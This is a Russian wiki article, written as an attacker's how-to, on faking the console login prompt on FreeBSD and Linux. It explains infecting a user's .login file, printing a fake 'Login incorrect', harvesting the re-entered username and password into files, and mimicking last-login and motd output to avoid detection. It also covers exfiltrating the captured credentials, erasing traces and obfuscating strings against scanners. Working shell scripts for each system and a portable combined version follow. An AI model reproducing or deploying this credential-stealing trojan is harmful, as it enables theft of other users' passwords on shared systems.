Фальшивый логин

Материал из MediaWiki
Перейти к навигации Перейти к поиску

О ЧЕМ СТАТЬЯ?

Данная статья описывает имитацию консольного входа в систему FreeBSD и Linux на языке shell'а.

ВСТУПЛЕНИЕ:

В wiki я новичок и по оформлению - в зуб ногой, поэтому вставляю статью в виде plain-текста. Просьба - кому не лень, приведите текст к нормальному форматированию и удалите эту просьбу и пред. предложение. Прочитавших статью настоятельно прошу потестировать прилагаемые sh-скрипты на своей системе или дать советы по их совершенствованию и отписаться в комментариях. Если кто может - дайте ссылку на мини-дистрибутив весом в одну floppy-дискету или небольшой iso-образ с OpenBSD, NetBSD, BeOS, QNX или еще какой редкой системой. Просто мой медленный модем не позволяет качать из сети огроменные iso-образы с дистрибутивами.

  >>> С уважением, AndreyMust19

При создании статьи использовались следующие системы:

  • В качестве FreeBSD - FreeBSD 5.2.1
  • В качестве Linux - Linux knoppix_debian 2.6.17

в дальнейшем работа была протестирована на:

  • FrenzyBSD 6.1-STABLE
  • Knoppix DSL 2.4.16

Теоретически должно работать на FreeBSD с 3.0 и на Linux с 2.4


Вариант 1. Фальшивый вход в систему

Действия

Заразить начало файла '.login' . Внедренный код должен вывести фразу "Неверный вход", чтобы пользователь решил, что ошибся при вводе логина или пароля. Затем самому потребовать ввести логин и пароль, а пользователь все еще будет думать, что об этом его просит операционная система. С большой долей вероятности пользователь введет правильный логин и пароль - мы сохраним их в файл и вышлем по сети или перенесем в публичные файлы.

После этого надо вывести на экран информацию о последнем входе (login так всегда делает). Далее выполнение файла .login продолжится в нормальном режиме, поскольку юзер уже вошел в систему, когда первый раз вводил пароль и логин.

Неверный вход

Фраза "Неверный вход" одинакова во всех системах и выглядит как "Login incorrect\n". Ее можно вывести командой echo.

Логин и пароль

Дальше надо вывести такие слова login и password, чтобы они совпадали с настоящими. Перед словом "login" может стоять название системы, а после слова "Password:" может стоять лишний пробел. Эти слова зависят от системы, для Linux:

login = '<host> login: '
password = 'Password: '

, где <host> - короткое имя машины.

а для FreeBSD:

login = 'login: '
password = 'Password:'

Если мы будем использовать эти текстовые константы, то наша гадость провалится, если этот текст выводится на другом языке. Правильнее будет проанализировать конфигурацию системы и решить - какой текст нужно вывести. Если все сделать правильно, в соответствии с текущей системой, фальшивый вход в систему не будет отличаться от настоящего. Для вывода строк можно 'echo -n "login"', а ключ -n нужен, чтобы курсор не переносился на след. строку. Для отключения эховывода сделать 'stty -echo', а после ввода пароля - восстановить его командой 'stty echo'. Для чтения логина и пароля cat не годится, так как это одна строка, поэтому читать введенные данные будем командой 'head -n 1'.

Время последнего входа

Как известно, перед входом в систему, login говорит - когда последний раз вошли под этой учетной записью и на какой консоли:

Last login: Thu Jun 25 22:49:58 on ttyv2

Некоторые юзеры внимательно относятся к этому сообщению, так как по нему можно узнать, что в систему входил посторонний. Поэтому отсутствие этого сообщения может насторожить и лучше его вывести на экран.

Способ 1 - журнал входов в систему

О времени последнего входа в Linux нам скажет lastlog:

$ lastlog -u $(whoami)

А во FreeBSD такую же информацию даст команда lastlogin:

$ lastlogin $(whoami)

Команда whoami нужна, чтобы подставить вместо нее имя нашей учетной записи. Тоже самое можно сделать, заменив $(whoami) на $USER, но в данном случае USER - это переменная окружения и ее значение можно изменить.

Поскольку программа login выводит информацию до входа в систему, она выводится на английском языке. А после входа в систему команды lastlog и lastlogin делают это на том языке, который установлен в переменной окружения LANG. Поэтому перед выполнением команды надо поменять ее значение на 'us', чтобы мы 100% получили дату на английском языке.

После вызова обе команды приподносят информацию в немного другом формате, нежели login. Линукс:

$ lastlog -u $(whoami)
Username	Port	From		Latest
andrey          ttyv3                   Thu Jun 25 23:18:47 +0400 2009

ФриБСД:

$ lastlogin $(whoami)
andrey          ttyv3                   Thu Jun 25 23:18:47 2009

Итак, первая выводит 2 строки, а вторая - одну, причем последняя строка общая. Поэтому извлечем ее:

$ lastlog -u $(whoami) | tail -n 1

или

$ lastlogin $(whoami) | tail -n 1

Итак, из полученной строки нам надо извлечь дату и номер терминала. Заметьте, что аргументы разделены не tab'ом, а пробелами, что подтвержает команда hexdump. Как их извлечь? Поскольку у Linux перед годом стоит какое-то непонятное число, обрабатывать строку будет сначала, тем более пробелы в логинах втречаться не должны.

Вобщем, алгоритм такой:

  1. Записываем строку в переменную.
  2. Ищем первый пробел (0x20)
  3. Идем к концу строки, пока встречаются любые символы кроме пробелов (пройдем имя)
  4. Идем дальше, пропуская пробелы
  5. Запоминаем текущую позицию (A)
  6. Пропускаем не-пробелы (пройдем имя терминала)
  7. Записываем все символы с A до текущей позиции
  8. пропускаем пробелы, пока не дойдем до даты
  9. Запоминаем позицию в B
  10. Ищем 4 пробела и затем копируем в переменную символы от B до текущей позиции

Можно использовать другой алгоритм, с конца, но тогда в начале придется пропустить еще одно слово, если мы работаем на Linux-системе.

  1. Записываем строку в переменную.
  2. Посл. символ == 0Ah, значит продолжаем
  3. Ищем первый 0x20 с конца (B)
  4. Двигаемся к началу и пропускаем еще 4 пробела (A)
  5. Выкусываем строку от A до B (это дата и время логина)
  6. Двигаемся к началу, пока встречается 0x20 (D)
  7. Двигаемся к началу, пока не встретится 0x20 (C)
  8. Выкусываем строку от C до D (это будет название консоли)

В конце выводим на экран полученные строки:

"Last login: ", $AB, " on " $CD.

Вывод можно сделать с помощью символа <<.

Теперь, как выполнить все это языком shell'а. Проще всего командой awk. Она сама распознает пробелы, принимая разделенные ими слова за аргументы. Написать надо так:

& awk '{print $4, $5, $6, $7, "on", $2}'
Jun 26 13:37:09 2009 on ttyv2

Тут $4-$7 выводят дату, строка "on" - слово ' on ' с пробелами, а $2 соответствует консоль.

Способ 2 - текущая дата

И в Linux, и во FreeBSD есть команда date, которая выводит текущую дату. Эту дату можно вывести в любом формате, даже в том, в котором ее выводит login:

$ date "+%a %b %d %H:%M:%S"
Fri Jun 26 00:31:54

Можно немного рискнуть и вместо настоящего времени входа вывести текущую дату, а в качестве консоли указать текущую. Если повезет, пользователь ничего не заметит, так как у него уйдет некоторое время на ввод "фальшивого" логина и пароля. Правда эта команда вызовет проблемы во FreeBSD, поскольку в ней нет опции '%a' - над этим надо подумать.

Еще стоит отметить возможность вывести дату, записанную в строке (опция -d), но эта строка не совпадает с форматом строки, выводимой login. Текущую консоль можно узнать командой tty. Она не зависит от системы и всегда выводит полный путь терминала:

$ tty
/dev/tty2

Можно отбросить первые 5 символов, а для пущей надежности найти последний / и вывести все, что после него.

  • Примечание:

Во FreeBSD команда lastlogin выводит только успешные и реально выполненные входы. Предложенный способ 1 будет всегда работать, поскольку /var/log/lastlog всегда будет содержать 7 аргумента:

root	ttyv0		Fri Apr  9 23:18:48 2009
andrey	ttyv1		Fri Jun 26 19:16:47 2009

В Linux немного по-другому. В файле /var/log/lastlog записаны все учетные записи, независимо от того, входили под ними в систему или нет:

Username	Port	From		Latest
andrey		:0			Fri Jun 26 19:43:28 +0400 2006
nx					**Never logger in**

Во-первых, есть еще одно поле 'From', а во-вторых, учетная запись, возможно, ни разу еще не использовалась. Неизвестно, как login обработает эти ситуации. Поэтому будем так - подсчитаем кол-во аргументов, если их 8, тогда нам встретилась обычная запись, а в остальных случаях будем выводить текущую дату. В команде awk слово NF соответствует кол-ву аргументов в текущей строке. Данная команда выводит "123" если в строке последнего входа 8 аргументов и "hello" в ином случае:

lag='hello'
lastlog -u $(whoami) | tail -n 1 | awk -v lag=$lag '{ if (NF == 8) print "123"; print lag }'

Можно заранее получить текущую дату и записать ее в переменную lag:

$ date "+%c" | awk '{ print substr($0, 1, length $0 - 1),"on"; }'

Можно заранее получить текущую консоль и дату, а затем передать их команде awk:

$ t=$(tty)		#получаем имя консоли
$ date "+%c" | awk -v ttt=$t '{ print $0,"on", substr(ttt, 5, length(ttt) - 4) }'
Fri Jun 26 21:40:04 2009 on /pts/3

здесь substr отбрасывает первые 4 символа вывода tty ("/dev/pts/3"->"/pts/3"). А вместо 'print "123"' написать вывод даты последнего входа:

awk '{ print $3,$4,$5,$6,$8,"on",$2}'

где $8 дополнительно выводит год. Но все это изврат, надежней не анализировать строку последнего входа, а просто вывести ее как пологается.

Приветствие

Во всех системах login, перед запуском оболочки выводит приветствие на экран, текст которого находится в /etc/motd. Если в домашнем каталоге пользователя есть файл '.hushlogin', то приветствие не выводится. На надо это "проэмулировать":

if !(test -e ~/.hushlogin) ; then
	cat /etc/motd 2>/dev/null
fi

Удаление stderr нужно в том случае, если файла /etc/motd не существует и из-за этого команда cat сообщит об ошибке.

Небольшая особенность есть во FreeBSD. В ней после приветствия выводится копирайт системы:

Copyright (c) 1992-2004 The FreeBSD Project
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994

Похожие строки есть в файле /COPYRIGHT, но в первой строке есть лишнее "All rights reserved". К тому же файл этот можно удалить. Вторая строка находится в самой программе login. Но... те же самые 2 строки выводит boot-загрузчик, а также rlogin, хотя в нем такой строки не наблюдается. Неужели они спрашивают ее у ядра?

Поиск строки '1992-2004' в ядре подтвержает:

$ grep 1992-2004 /boot/kernel/*
Binary file /boot/kernel/kernel/kernel matches

Тот факт, что эти строки выводятся при загрузке системы позволяет нам прочитать их из файла '/var/run/dmesg.boot'. Поскольку загрузчик выводит их первыми, то они будут находиться в самом начале файла:

head -n 3 /var/run/dmesg.boot

Затем надо добавить '\n', поскольку перед содержимым файла /etc/motd, выводимым login'ом есть пустая строка.

А если мы не введем пароль?

Если пользователь не введет пароль через некоторое время, то login сообщит, что время входа истекло. А дополнительно на экране появится заголовок входа. И если хотя бы одно из этих сообщений не совпадет с настоящим, наш план провалится. Оба сообщения также специфичны для разны систем. Для Linux:

timeout = 'Login timed out after <num> seconds.\n'
caption = '<system> <os> <version> <hostname> <tty>'

Для FreeBSD

timeout = 'login: Login timed out after <num> seconds\n'
caption = '<system> <hostname> (<tty>)'

здесь:

  • <system> - название системы
  • <os> - тип ядра
  • <version> - версия ядра, (не)стабильная, релиз/тест
  • <hostname> - имя хоста, можно узнать одноименной командой
  • <tty> - название консоли, на к-ой происходит вход
  • <num> - кол-во секунд, после к-х система прекратит вход

Проблема в том - как узнать <system>, <hostname> и все остальное?

  • <hostname>

Можно узнать, дав команду 'hostname' или 'uname -n'

Делаем ноги

Ну, теперь осталось отправить файл с логином и паролем. Можно послать по сети на наш адрес, а лучше выложить в общий доступ, где мы сидим и ждем его. Как только файл появится, быстренько копируем его содержимое и удаляем, чтобы его не успели увидеть честные пользователи и не сообщили администрации. После чего надо удалить все созданные временные файлы и вырезать себя из зараженного файла (.login), чтобы он принял первоначальный вид.

Определяем конфигурацию

Теперь, когда мы написали 2 отдельных файла, работающих на FreeBSD и Linux, надо их переписать в один, объединив все общие части и сделать файл переносимым. Чтобы определить текущую систему, проще всего дать команду 'uname -s'. Она вернет на вывод FreeBSD или Linux. Недостаток в том, что имя системы помоему можно изменить, и тогда она станет неуязвима к нашему оружию, пока мы не определим систему как-то по другому. Несмотря на это, все конфигурационные скрипты в архивах с исходниками определяют систему командой 'uname -s'.

Можно найти специфичные файлы, например, /etc/rc.conf для FreeBSD и /etc/inittab для Linux. Но администратор может создать лишние файлы и тогда введет скрипт в ступор.

Можно определить тип исполняемого файла /bin/sh, прочитав сигнатуру ELF в первых 3-х байтах, а затем проверить байт по смещению 07h - если 0x09, значит FreeBSD, а если 0x00 - то Linux. Но и тут есть грабли. Тип системы 0x00 на самом деле соответствует UNIX System V, и его нормально воспринимает Linux, поэтому бОльшая часть исполняемых файлов имеет этот тип. Наверяка подобная ситуация может распространяться на другие очень редкие UNIX-системы. Так что 0x00 - не означает Linux.

Определение совместимости и процедура заражения

После определения системы мы должны выяснить - сможет ли работать наш скрипт. Для этого надо проверить наличие всех программ, которые мы будем запускать:

[ -x путь] && <команда>

<команда> выполнится только если <путь> существует и является исполняемым файлом.

Пусть систему и совместимость определяет скрипт заражения, а не наша "боевая начинка". То есть программа "фальшивый логин" всего-лишь определит текущую систему и будет работать в соответствии с ней. Можно было сделать по другому, так, чтобы:

- Текущую систему и совместимость проверяла сама боевая начинка, а скрипт заражения занимался только заражение. Но тогда боевая начинка будет больше по размеру и медленнее работать, что может вызвать подозрения. - Скрипт заражения сам компоновал боевую начинку в соответствии с системой, но это усложнило бы процесс заражения и сделало его менее читаемым. - Можно было вообще хранить в себе 2 отдельные версии начинки для каждой системы и не вращаться с портированием, но это увеличело бы размер гадости.

Так что наш выбор является серединой между размером и простотой программы. Во время тестирования оказалось, что на DSL Linux пробелы в конце переменных игнорирует не только echo, но и printf. Из-за этого "Password:" выводился без нужного пробела. Пришлось выводить пробел отдельно, если система - Linux.

Окончательный вариант фальшивого логина можно найти в falselogin.sh. В остальных falselogin-файлах тоже самое, но с комментариями в разных кодировках.

Прячем уши от человеческих глаз

Теперь пришла пора скрыть текстовые строки от глаз человека и сканеров. Для этого увеличиваем значение каждого символа на 1, а перед использованием - уменьшаем на 1.

Исходные тексты

Linux

#!/bin/sh

l="login: "
p="Password: "
	
echo "Login incorrect"
lg=$LANG
LANG='us'
printf "%s %s " $(hostname) $l
head -n 1 1>~/1login
	
stty -echo
printf "%s " $p
head -n 1 1>~/2login
stty echo
echo
	
echo -n "Last login: "
lastlog -u $(whoami) | tail -n 1 | awk '{ print $3, $4, $5, $6, $8, "on", $2 }'
	
if !(test -e ~/.hushlogin); then
	cat /etc/motd 2>/dev/null
fi

FreeBSD

#!/bin/sh
	
l="login:"
p="Password:"
	
echo "Login incorrect"
	
lg=$LANG
LANG='us'
printf "%s " $l
head -n 1 1>~/1login
	
stty -echo
echo -n $p
head -n 1 1>~/2login
stty echo
echo
	
echo -n "Last login: "
lastlogin $(whoami) | awk '{print $3, $4, $5, $6, "on", $2}'
LANG=$lg
	
if !(test -e ~/.hushlogin); then
	head -n 3 /var/run/dmesg.boot
	echo
	cat /etc/motd 2>/dev/null
fi

Портированный вариант для Linux и FreeBSD

#!/bin/sh
	
p="Password:"
	
### Starting ###
lg=$LANG
LANG='us'
echo 'Login incorrect'
s=$(uname -s)
	
case ${s} in
Linux)
	st=1
	l=$(hostname)" login:"
	lslg="lastlog -u"
	;;
FreeBSD)
	st=2
	l="login:"
	prp="%s"
	lslg="lastlogin"
	cpr="head -n 3 /var/run/dmesg.boot"; cpr1="echo"
	;;
esac
printf "%s " $l
head -n 1 >~/.1login
stty -echo
echo -n $p
if test $s=Linux; then echo -n ' '; fi
head -n 1 >~/.2login
stty echo; echo
	
echo -n "Last login: "
case ${s} in
Linux)
	$lslg $(whoami) | tail -n 1 | awk '{print $3, $4, $5, $6, $8, "on", $2}'
	;;
FreeBSD) 
	$lslg $(whoami) | awk '{print $3, $4, $5, $6, "on", $2}'
	;;
esac
	
if !(test -e ~/.hushlogin); then
	($cpr); ($cpr1)
	cat /etc/motd 2>/dev/null
fi